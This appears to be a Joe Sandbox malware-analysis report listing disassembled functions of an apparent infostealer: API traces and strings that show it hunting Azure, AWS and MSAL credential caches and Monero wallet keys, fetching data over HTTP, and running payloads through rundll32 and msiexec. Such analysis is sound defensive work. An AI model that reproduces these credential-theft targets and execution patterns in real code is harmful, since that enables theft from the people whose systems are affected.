Opcode ID: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction ID: fed50cc6e1efdc3a052f26cf913ed6c17941c683d425eb673400a9e06eca0bf1
Opcode Fuzzy Hash: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction Fuzzy Hash: D6127375951104ABDB04FBA1DD96EEE7339BF14314F50402EF407B2091DE38AE9ACB6A

Function 00414D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414D87

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

memset.MSVCRT ref: 00414E13
lstrcatA.KERNEL32(?,00000000), ref: 00414E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

memset.MSVCRT ref: 00414E9F
lstrcatA.KERNEL32(?,00000000), ref: 00414EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,01266030,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

memset.MSVCRT ref: 00414F2B

Strings

*.*, xrefs: 00414E64
\.IdentityService\, xrefs: 00414ED9
*.*, xrefs: 00414DD8
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
\.aws\, xrefs: 00414E4D
Azure\.aws, xrefs: 00414E5F
Azure\.IdentityService, xrefs: 00414EEB
Azure\.azure, xrefs: 00414DD3
msal.cache, xrefs: 00414EF0
\.azure\, xrefs: 00414DC1

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 4017274736-156832076
Opcode ID: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 0040CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,012596D0,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D0CE
lstrcatA.KERNEL32(?,00000000,01265E50,00421474,01265E50,00421470,00000000), ref: 0040D208
lstrcatA.KERNEL32(?,00421478), ref: 0040D217
lstrcatA.KERNEL32(?,00000000), ref: 0040D22A
lstrcatA.KERNEL32(?,0042147C), ref: 0040D239
lstrcatA.KERNEL32(?,00000000), ref: 0040D24C
lstrcatA.KERNEL32(?,00421480), ref: 0040D25B
lstrcatA.KERNEL32(?,00000000), ref: 0040D26E
lstrcatA.KERNEL32(?,00421484), ref: 0040D27D
lstrcatA.KERNEL32(?,00000000), ref: 0040D290
lstrcatA.KERNEL32(?,00421488), ref: 0040D29F
lstrcatA.KERNEL32(?,00000000), ref: 0040D2B2
lstrcatA.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D2D4
lstrcatA.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01250578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(?), ref: 0040D32A
lstrlenA.KERNEL32(?), ref: 0040D339
memset.MSVCRT ref: 0040D388

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction ID: 94f9062ed3f4a6e26da847402fe0a382ec35b8ad99342330bde04fa79d6a5422
Opcode Fuzzy Hash: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction Fuzzy Hash: D2E17D75950108ABCB04FBE1DD96EEE7379BF14304F10405EF107B60A1DE38AA5ACB6A

Function 00418320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

RegOpenKeyExA.KERNEL32(00000000,012632D0,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

%s\%s, xrefs: 0041844D
- , xrefs: 004185A3
?, xrefs: 0041837A

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,01266020), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,01267258,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

GET, xrefs: 0040637C
ERROR, xrefs: 004064C9
ERROR, xrefs: 00406407

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01250578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: strtok.MSVCRT(00000000,?), ref: 0041539E
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 00415636
ERROR, xrefs: 00415932
ERROR, xrefs: 0041577D
ERROR, xrefs: 004159FE
ERROR, xrefs: 00415693
ERROR, xrefs: 00415849

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00412E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

/i ", xrefs: 004133E4
.msi, xrefs: 00413398
<, xrefs: 00413490
"" , xrefs: 0041309A
.dll, xrefs: 004131E5
C:\Windows\system32\msiexec.exe, xrefs: 004134BF
C:\Windows\system32\rundll32.exe, xrefs: 00413332
/passive, xrefs: 0041345B

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,012596D0,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

.keys, xrefs: 0040136B
wallet_path, xrefs: 00401330
\Monero\wallet.keys, xrefs: 0040138D
SOFTWARE\monero-project\monero-core, xrefs: 00401335

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
